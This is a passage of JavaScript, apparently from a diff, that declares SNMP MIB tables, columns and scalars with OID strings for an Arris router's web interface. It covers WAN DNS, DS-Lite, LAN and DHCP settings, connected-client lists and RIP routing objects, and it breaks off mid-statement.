PrivateWanCurrentDNSTable = new Table("PrivateWanCurrentDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.15.14"); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex = new Column("PrivateWanCurrentDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.1",66); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType = new Column("PrivateWanCurrentDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.2",2); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr = new Column("PrivateWanCurrentDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.3",4, 1); +var arPrivateWanCurrentDNSIPIndex=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex; +var arPrivateWanCurrentDNSIPAddrType=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType; +var arPrivateWanCurrentDNSIPAddr=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr; + +var DSLiteWanObjects = new Container("DSLiteWanObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.18"); +DSLiteWanObjects.DSLiteWanEnable= new Scalar("DSLiteWanEnable","1.3.6.1.4.1.4115.1.20.1.1.1.18.1",2); +DSLiteWanObjects.DSLiteWanLSNATAddrType= new Scalar("DSLiteWanLSNATAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.18.2",2); +DSLiteWanObjects.DSLiteWanLSNATAddr= new Scalar("DSLiteWanLSNATAddr","1.3.6.1.4.1.4115.1.20.1.1.1.18.3",4, 1); +var arDSLiteWanEnable=DSLiteWanObjects.DSLiteWanEnable; +var arDSLiteWanLSNATAddrType=DSLiteWanObjects.DSLiteWanLSNATAddrType; +var arDSLiteWanLSNATAddr=DSLiteWanObjects.DSLiteWanLSNATAddr; + + + +var LanConfig = new Container("LanConfig", "1.3.6.1.4.1.4115.1.20.1.1.2"); +LanConfig.LanCount= new Scalar("LanCount","1.3.6.1.4.1.4115.1.20.1.1.2.1",66); +LanConfig.LanSettings= new Scalar("LanSettings","1.3.6.1.4.1.4115.1.20.1.1.2.6",2); +var arLanCount=LanConfig.LanCount; +var arLanSettings=LanConfig.LanSettings; + +var LanSrvTable = new Table("LanSrvTable", "1.3.6.1.4.1.4115.1.20.1.1.2.2"); +LanSrvTable.LanName = new Column("LanName","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.1",4); +LanSrvTable.LanSubnetMaskType = new Column("LanSubnetMaskType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.2",2); +LanSrvTable.LanSubnetMask = new Column("LanSubnetMask","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.3",4, 1); +LanSrvTable.LanGatewayIpType = new Column("LanGatewayIpType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.4",2); +LanSrvTable.LanGatewayIp = new Column("LanGatewayIp","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.5",4, 1); +LanSrvTable.LanGatewayIp2Type = new Column("LanGatewayIp2Type","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.6",2); +LanSrvTable.LanGatewayIp2 = new Column("LanGatewayIp2","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.7",4, 1); +LanSrvTable.LanVLanID = new Column("LanVLanID","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.8",66); +LanSrvTable.LanUseDHCP = new Column("LanUseDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.9",2); +LanSrvTable.LanStartDHCPType = new Column("LanStartDHCPType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.10",2); +LanSrvTable.LanStartDHCP = new Column("LanStartDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.11",4, 1); +LanSrvTable.LanEndDHCPType = new Column("LanEndDHCPType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.12",2); +LanSrvTable.LanEndDHCP = new Column("LanEndDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.13",4, 1); +LanSrvTable.LanLeaseTime = new Column("LanLeaseTime","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.14",66); +LanSrvTable.LanDomainName = new Column("LanDomainName","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.15",4, 1); +LanSrvTable.LanRateLimit = new Column("LanRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.16",2); +LanSrvTable.LanDownRateLimit = new Column("LanDownRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.17",66); +LanSrvTable.LanUpRateLimit = new Column("LanUpRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.18",66); +LanSrvTable.LanRelayDNS = new Column("LanRelayDNS","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.19",2); +LanSrvTable.LanIPv6Mode = new Column("LanIPv6Mode","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.20",2); +LanSrvTable.LanPassThru = new Column("LanPassThru","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.21",2); +LanSrvTable.LanFirewallOn = new Column("LanFirewallOn","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.22",2); +LanSrvTable.LanUPnPEnable = new Column("LanUPnPEnable","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.23",2); +LanSrvTable.LanCPEAging = new Column("LanCPEAging","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.24",2); +LanSrvTable.LanOverrideDNS = new Column("LanOverrideDNS","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.25",2); +LanSrvTable.LanNatAlgsEnabled = new Column("LanNatAlgsEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.26",4, 1); +LanSrvTable.LanMappedInterface = new Column("LanMappedInterface","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.27",66); +LanSrvTable.LanEnvironmentControl = new Column("LanEnvironmentControl","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.28",2); +LanSrvTable.LanPrefixLengthV6 = new Column("LanPrefixLengthV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.29",66); +LanSrvTable.LanUseDHCPV6 = new Column("LanUseDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.30",2); +LanSrvTable.LanStartDHCPV6 = new Column("LanStartDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.31",4, 1); +LanSrvTable.LanEndDHCPV6 = new Column("LanEndDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.32",4, 1); +LanSrvTable.LanLeaseTimeV6 = new Column("LanLeaseTimeV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.33",66); +LanSrvTable.LanLinkLocalAddressV6 = new Column("LanLinkLocalAddressV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.34",4, 1); +LanSrvTable.LanDNSRelayV6 = new Column("LanDNSRelayV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.35",2); +LanSrvTable.LanDNSOverrideV6 = new Column("LanDNSOverrideV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.36",2); +LanSrvTable.LanRouterAdminBridgeOptionDisplay = new Column("LanRouterAdminBridgeOptionDisplay","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.38",2); + +// scm start +//LanSrvTable.LanQosEnable = new Column("LanQosEnable","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.46",2); +// scm end +var arLanName=LanSrvTable.LanName; +var arLanSubnetMaskType=LanSrvTable.LanSubnetMaskType; +var arLanSubnetMask=LanSrvTable.LanSubnetMask; +var arLanGatewayIpType=LanSrvTable.LanGatewayIpType; +var arLanGatewayIp=LanSrvTable.LanGatewayIp; +var arLanGatewayIp2Type=LanSrvTable.LanGatewayIp2Type; +var arLanGatewayIp2=LanSrvTable.LanGatewayIp2; +var arLanVLanID=LanSrvTable.LanVLanID; +var arLanUseDHCP=LanSrvTable.LanUseDHCP; +var arLanStartDHCPType=LanSrvTable.LanStartDHCPType; +var arLanStartDHCP=LanSrvTable.LanStartDHCP; +var arLanEndDHCPType=LanSrvTable.LanEndDHCPType; +var arLanEndDHCP=LanSrvTable.LanEndDHCP; +var arLanLeaseTime=LanSrvTable.LanLeaseTime; +var arLanDomainName=LanSrvTable.LanDomainName; +var arLanRateLimit=LanSrvTable.LanRateLimit; +var arLanDownRateLimit=LanSrvTable.LanDownRateLimit; +var arLanUpRateLimit=LanSrvTable.LanUpRateLimit; +var arLanRelayDNS=LanSrvTable.LanRelayDNS; +var arLanIPv6Mode=LanSrvTable.LanIPv6Mode; +var arLanPassThru=LanSrvTable.LanPassThru; +var arLanFirewallOn=LanSrvTable.LanFirewallOn; +var arLanUPnPEnable=LanSrvTable.LanUPnPEnable; +var arLanCPEAging=LanSrvTable.LanCPEAging; +var arLanOverrideDNS=LanSrvTable.LanOverrideDNS; +var arLanNatAlgsEnabled=LanSrvTable.LanNatAlgsEnabled; +var arLanMappedInterface=LanSrvTable.LanMappedInterface; +var arLanEnvironmentControl=LanSrvTable.LanEnvironmentControl; +var arLanPrefixLengthV6=LanSrvTable.LanPrefixLengthV6; +var arLanUseDHCPV6=LanSrvTable.LanUseDHCPV6; +var arLanStartDHCPV6=LanSrvTable.LanStartDHCPV6; +var arLanEndDHCPV6=LanSrvTable.LanEndDHCPV6; +var arLanLeaseTimeV6=LanSrvTable.LanLeaseTimeV6; +var arLanLinkLocalAddressV6=LanSrvTable.LanLinkLocalAddressV6; +var arLanDNSRelayV6=LanSrvTable.LanDNSRelayV6; +var arLanDNSOverrideV6=LanSrvTable.LanDNSOverrideV6; +//var arLanQosEnable=LanSrvTable.LanQosEnable;//added +var arLanRouterAdminBridgeOptionDisplay=LanSrvTable.LanRouterAdminBridgeOptionDisplay; + +var arrisRouterLanSrvDiscoveryObjs = new Container("arrisRouterLanSrvDiscoveryObjs", "1.3.6.1.4.1.4115.1.20.1.1.2.7"); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime= new Scalar("arrisRouterLanUPnPAdvTime","1.3.6.1.4.1.4115.1.20.1.1.2.7.1", 66); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl= new Scalar("arrisRouterLanUPnPTtl","1.3.6.1.4.1.4115.1.20.1.1.2.7.2", 66); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf= new Scalar("arrisRouterLanZeroConf","1.3.6.1.4.1.4115.1.20.1.1.2.7.3", 2); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP= new Scalar("arrisRouterLanQosUPnP","1.3.6.1.4.1.4115.1.20.1.1.2.7.4", 2); +var arLanUPnPAdvTime=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime; +var arLanUPnPTtl=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl; +var arLanZeroConf=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf; +var arLanQosUPnP=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP; + + +var LanDNSTable = new Table("LanDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.2.3"); +LanDNSTable.LanDNSIdx = new Column("LanDNSIdx","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.1",66); +LanDNSTable.LanDNSIPAddrType = new Column("LanDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.2",2); +LanDNSTable.LanDNSIPAddr = new Column("LanDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.3",4, 1); +LanDNSTable.LanDNSRowStatus = new Column("LanDNSRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.4",2); +var arLanDNSIdx=LanDNSTable.LanDNSIdx; +var arLanDNSIPAddrType=LanDNSTable.LanDNSIPAddrType; +var arLanDNSIPAddr=LanDNSTable.LanDNSIPAddr; +var arLanDNSRowStatus=LanDNSTable.LanDNSRowStatus; + +var CmDoc30DhcpLeaseParameters = new Container("CmDoc30DhcpLeaseParameters","1.3.6.1.4.1.4115.1.3.4.1.4.1"); +CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining = new Scalar("DhcpLeaseTimeRemaining","1.3.6.1.4.1.4115.1.3.4.1.4.1.4",2); +var arDhcpLeaseTimeRemaining = CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining; +CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime = new Scalar("DhcpOfferedLeaseTime","1.3.6.1.4.1.4115.1.3.4.1.4.1.1",2); +CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew = new Scalar("DhcpTimeUntilRenew","1.3.6.1.4.1.4115.1.3.4.1.4.1.2",2); +CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind = new Scalar("DhcpTimeUntilRebind","1.3.6.1.4.1.4115.1.3.4.1.4.1.3",2); +var arDhcpOfferedLeaseTime = CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime; +var arDhcpTimeUntilRenew = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew; +var arDhcpTimeUntilRebind = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind; + +var ClientObjects = new Container("ClientObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.4"); +ClientObjects.LanClientCount= new Scalar("LanClientCount","1.3.6.1.4.1.4115.1.20.1.1.2.4.1",66); +ClientObjects.LanCustomCount= new Scalar("LanCustomCount","1.3.6.1.4.1.4115.1.20.1.1.2.4.4",66); +var arLanClientCount=ClientObjects.LanClientCount; +var arLanCustomCount=ClientObjects.LanCustomCount; + +var LanClientTable = new Table("LanClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2"); +LanClientTable.LanClientIPAddrType = new Column("LanClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.1",2); +LanClientTable.LanClientIPAddr = new Column("LanClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.2",4, 1); +LanClientTable.LanClientHostName = new Column("LanClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.3",4); +LanClientTable.LanClientMAC = new Column("LanClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.4",4, 1); +LanClientTable.LanClientMACMfg = new Column("LanClientMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.5",4); +LanClientTable.LanClientAdapterType = new Column("LanClientAdapterType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.6",2); +LanClientTable.LanClientType = new Column("LanClientType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.7",2); +LanClientTable.LanClientLeaseStart = new Column("LanClientLeaseStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.8",4, 1); +LanClientTable.LanClientLeaseEnd = new Column("LanClientLeaseEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.9",4, 1); +LanClientTable.LanClientStatus = new Column("LanClientStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.10",2); +LanClientTable.LanClientInfLease = new Column("LanClientInfLease","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.11",2); +LanClientTable.LanClientLeaseState = new Column("LanClientLeaseState","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.12",2); +LanClientTable.LanClientRowStatus = new Column("LanClientRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.13",2); +LanClientTable.LanClientOnline = new Column("LanClientOnline","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.14",2); +LanClientTable.LanClientComment = new Column("LanClientComment","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.15",4); +LanClientTable.LanClientCustom = new Column("LanClientCustom","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.16",2); +// scm start +LanClientTable.LanClientDeviceName = new Column("LanClientDeviceName", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.20", 2); +LanClientTable.LanClientRSSI = new Column("LanClientRSSI", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.21", 2); +LanClientTable.LanClientLinkLocalAddr= new Column("LanClientLinkLocalAddr", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.23", 4); + +// scm end +var arLanClientIPAddrType=LanClientTable.LanClientIPAddrType; +var arLanClientIPAddr=LanClientTable.LanClientIPAddr; +var arLanClientHostName=LanClientTable.LanClientHostName; +var arLanClientMAC=LanClientTable.LanClientMAC; +var arLanClientMACMfg=LanClientTable.LanClientMACMfg; +var arLanClientAdapterType=LanClientTable.LanClientAdapterType; +var arLanClientType=LanClientTable.LanClientType; +var arLanClientLeaseStart=LanClientTable.LanClientLeaseStart; +var arLanClientLeaseEnd=LanClientTable.LanClientLeaseEnd; +var arLanClientStatus=LanClientTable.LanClientStatus; +var arLanClientInfLease=LanClientTable.LanClientInfLease; +var arLanClientLeaseState=LanClientTable.LanClientLeaseState; +var arLanClientRowStatus=LanClientTable.LanClientRowStatus; +var arLanClientOnline=LanClientTable.LanClientOnline; +var arLanClientComment=LanClientTable.LanClientComment; +var arLanClientCustom=LanClientTable.LanClientCustom; +// scm add +var arLanClientDeviceName = LanClientTable.LanClientDeviceName; +var arLanClientRSSI = LanClientTable.LanClientRSSI; +var arLanClientLinkLocalAddr = LanClientTable.LanClientLinkLocalAddr; + + + + +var DeviceUpDownTable = new Table("DeviceUpDownTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.3"); +DeviceUpDownTable.DeviceUpDownIndex = new Column("DeviceUpDownIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.1",2); +DeviceUpDownTable.DeviceUpDownMAC = new Column("DeviceUpDownMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.2",4, 1); +DeviceUpDownTable.DeviceUpDownIPType = new Column("DeviceUpDownIPType","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.3",2); +DeviceUpDownTable.DeviceUpDownIPAddr = new Column("DeviceUpDownIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.4",4, 1); +DeviceUpDownTable.DeviceUpDownStart = new Column("DeviceUpDownStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.5",4, 1); +DeviceUpDownTable.DeviceUpDownEnd = new Column("DeviceUpDownEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.6",4, 1); +DeviceUpDownTable.DeviceUpDownStatus = new Column("DeviceUpDownStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.7",2); +var arDeviceUpDownIndex=DeviceUpDownTable.DeviceUpDownIndex; +var arDeviceUpDownMAC=DeviceUpDownTable.DeviceUpDownMAC; +var arDeviceUpDownIPType=DeviceUpDownTable.DeviceUpDownIPType; +var arDeviceUpDownIPAddr=DeviceUpDownTable.DeviceUpDownIPAddr; +var arDeviceUpDownStart=DeviceUpDownTable.DeviceUpDownStart; +var arDeviceUpDownEnd=DeviceUpDownTable.DeviceUpDownEnd; +var arDeviceUpDownStatus=DeviceUpDownTable.DeviceUpDownStatus; + +var LanCustomTable = new Table("LanCustomTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.5"); +LanCustomTable.LanCustomIdx = new Column("LanCustomIdx","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.1",66); +LanCustomTable.LanCustomMAC = new Column("LanCustomMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.2",4, 1); +LanCustomTable.LanCustomIPAddrType = new Column("LanCustomIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.3",2); +LanCustomTable.LanCustomIPAddr = new Column("LanCustomIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.4",4, 1); +LanCustomTable.LanCustomFriendName = new Column("LanCustomFriendName","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.5",4); +LanCustomTable.LanCustomHostName = new Column("LanCustomHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.6",4); +LanCustomTable.LanCustomMACMfg = new Column("LanCustomMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.7",4); +LanCustomTable.LanCustomComments = new Column("LanCustomComments","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.8",4); +LanCustomTable.LanCustomRowStatus = new Column("LanCustomRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.9",2); +var arLanCustomIdx=LanCustomTable.LanCustomIdx; +var arLanCustomMAC=LanCustomTable.LanCustomMAC; +var arLanCustomIPAddrType=LanCustomTable.LanCustomIPAddrType; +var arLanCustomIPAddr=LanCustomTable.LanCustomIPAddr; +var arLanCustomFriendName=LanCustomTable.LanCustomFriendName; +var arLanCustomHostName=LanCustomTable.LanCustomHostName; +var arLanCustomMACMfg=LanCustomTable.LanCustomMACMfg; +var arLanCustomComments=LanCustomTable.LanCustomComments; +var arLanCustomRowStatus=LanCustomTable.LanCustomRowStatus; + +var LanCurrentClientTable = new Table("LanCurrentClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.6"); +LanCurrentClientTable.LanCurrentClientIndex = new Column("LanCurrentClientIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.1",2); +LanCurrentClientTable.LanCurrentClientIPAddrType = new Column("LanCurrentClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.2",2); +LanCurrentClientTable.LanCurrentClientIPAddr = new Column("LanCurrentClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.3",4, 1); +LanCurrentClientTable.LanCurrentClientIPAddrTextual = new Column("LanCurrentClientIPAddrTextual","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.4",4); +LanCurrentClientTable.LanCurrentClientHostName = new Column("LanCurrentClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.5",4); +LanCurrentClientTable.LanCurrentClientMAC = new Column("LanCurrentClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.6",4, 1); +LanCurrentClientTable.LanCurrentClientMACMfg = new Column("LanCurrentClientMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.7",4); +LanCurrentClientTable.LanCurrentClientAdapterType = new Column("LanCurrentClientAdapterType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.8",2); +LanCurrentClientTable.LanCurrentClientType = new Column("LanCurrentClientType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.9",2); +LanCurrentClientTable.LanCurrentClientLeaseStart = new Column("LanCurrentClientLeaseStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.10",4, 1); +LanCurrentClientTable.LanCurrentClientLeaseEnd = new Column("LanCurrentClientLeaseEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.11",4, 1); +LanCurrentClientTable.LanCurrentClientStatus = new Column("LanCurrentClientStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.12",2); +LanCurrentClientTable.LanCurrentClientInfLease = new Column("LanCurrentClientInfLease","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.13",2); +LanCurrentClientTable.LanCurrentClientLeaseState = new Column("LanCurrentClientLeaseState","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.14",2); +LanCurrentClientTable.LanCurrentClientFirstSeen = new Column("LanCurrentClientFirstSeen","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.15",4, 1); +LanCurrentClientTable.LanCurrentClientLastSeen = new Column("LanCurrentClientLastSeen","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.16",4, 1); +LanCurrentClientTable.LanCurrentClientConnectionInfo = new Column("LanCurrentClientConnectionInfo","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.17",4); +LanCurrentClientTable.LanCurrentClientLeaseTime = new Column("LanCurrentClientLeaseTime","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.18",2); +var arLanCurrentClientIndex=LanCurrentClientTable.LanCurrentClientIndex; +var arLanCurrentClientIPAddrType=LanCurrentClientTable.LanCurrentClientIPAddrType; +var arLanCurrentClientIPAddr=LanCurrentClientTable.LanCurrentClientIPAddr; +var arLanCurrentClientIPAddrTextual=LanCurrentClientTable.LanCurrentClientIPAddrTextual; +var arLanCurrentClientHostName=LanCurrentClientTable.LanCurrentClientHostName; +var arLanCurrentClientMAC=LanCurrentClientTable.LanCurrentClientMAC; +var arLanCurrentClientMACMfg=LanCurrentClientTable.LanCurrentClientMACMfg; +var arLanCurrentClientAdapterType=LanCurrentClientTable.LanCurrentClientAdapterType; +var arLanCurrentClientType=LanCurrentClientTable.LanCurrentClientType; +var arLanCurrentClientLeaseStart=LanCurrentClientTable.LanCurrentClientLeaseStart; +var arLanCurrentClientLeaseEnd=LanCurrentClientTable.LanCurrentClientLeaseEnd; +var arLanCurrentClientStatus=LanCurrentClientTable.LanCurrentClientStatus; +var arLanCurrentClientInfLease=LanCurrentClientTable.LanCurrentClientInfLease; +var arLanCurrentClientLeaseState=LanCurrentClientTable.LanCurrentClientLeaseState; +var arLanCurrentClientFirstSeen=LanCurrentClientTable.LanCurrentClientFirstSeen; +var arLanCurrentClientLastSeen=LanCurrentClientTable.LanCurrentClientLastSeen; +var arLanCurrentClientConnectionInfo=LanCurrentClientTable.LanCurrentClientConnectionInfo; +var arLanCurrentClientLeaseTime=LanCurrentClientTable.LanCurrentClientLeaseTime; + +var LanStaticClientTable = new Table("LanStaticClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.7"); +LanStaticClientTable.LanStaticClientIndex = new Column("LanStaticClientIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.1",2); +LanStaticClientTable.LanStaticClientIPAddrType = new Column("LanStaticClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.2",2); +LanStaticClientTable.LanStaticClientIPAddr = new Column("LanStaticClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.3",4, 1); +LanStaticClientTable.LanStaticClientHostName = new Column("LanStaticClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.4",4); +LanStaticClientTable.LanStaticClientMAC = new Column("LanStaticClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.5",4, 1); +LanStaticClientTable.LanStaticClientRowStatus = new Column("LanStaticClientRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.6",2); +var arLanStaticClientIndex=LanStaticClientTable.LanStaticClientIndex; +var arLanStaticClientIPAddrType=LanStaticClientTable.LanStaticClientIPAddrType; +var arLanStaticClientIPAddr=LanStaticClientTable.LanStaticClientIPAddr; +var arLanStaticClientHostName=LanStaticClientTable.LanStaticClientHostName; +var arLanStaticClientMAC=LanStaticClientTable.LanStaticClientMAC; +var arLanStaticClientRowStatus=LanStaticClientTable.LanStaticClientRowStatus; + +var RIPObjects = new Container("RIPObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.5"); +RIPObjects.RIPEnable= new Scalar("RIPEnable","1.3.6.1.4.1.4115.1.20.1.1.2.5.1",2); +RIPObjects.RIPAuthEnable= new Scalar("RIPAuthEnable","1.3.6.1.4.1.4115.1.20.1.1.2.5.2",2); +RIPObjects.RIPReportTime= new Scalar("RIPReportTime","1.3.6.1.4.1.4115.1.20.1.1.2.5.3",66); +RIPObjects.RIPAuthKeyString= new Scalar("RIPAuthKeyString","1.3.6.1.4.1.4115.1.20.1.1.2.5.4",4); +RIPObjects.RIPAuthKeyID= new Scalar("RIPAuthKeyID","1.3.6.1.4.1.4115.1.20.1.1.2.5.5",2); +RIPObjects.RIPIPAddrType= new Scalar("RIPIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.5.6",2); +RIPObjects.RIPIPAddr= new Scalar("RIPIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.5.7",4, 1); +RIPObjects.RIPPrefixLen= new Scalar("RIPPrefixLen","1.3.6.1.4.1.4115.1.20.1.1.2.5.8",66); +RIPObjects.RIPAuthKeyChain= new Scalar("RIPAuthKeyChain","1.3.6.1.4.1.4115.1.20.1.1.2.5.9",4); +RIPObjects.RIPRoutedSubnetIPType= new Scalar("RIPRoutedSubnetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.10",2); +RIPObjects.RIPRoutedSubnetIP= new Scalar("RIPRoutedSubnetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.11",4, 1); +RIPObjects.RIPRoutedSubnetGWNetIPType= new Scalar("RIPRoutedSubnetGWNetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.12",2); +RIPObjects.RIPRoutedSubnetGWNetIP= new Scalar("RIPRoutedSubnetGWNetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.13",4, 1); +RIPObjects.RIPRoutedSubnetMask= new Scalar("RIPRoutedSubnetMask","1.3.6.1.4.1.4115.1.20.1.1.2.5.14",4, 1); +RIPObjects.RIPRoutedSubnetEnabled= new Scalar("RIPRoutedSubnetEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.5.15",2); +RIPObjects.RIPSendCMInterface= new Scalar("RIPSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.16",2); +RIPObjects.RIPRoutedSubnetDHCP= new Scalar("RIPRoutedSubnetDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.5.17",2); +RIPObjects.RIPRoutedSubnetNAT= new Scalar("RIPRoutedSubnetNAT","1.3.6.1.4.1.4115.1.20.1.1.2.5.18",2); +// scm { +RIPObjects.RIPInterface= new Scalar("RIPInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.23",2); +RIPObjects.RIPSendVersion= new 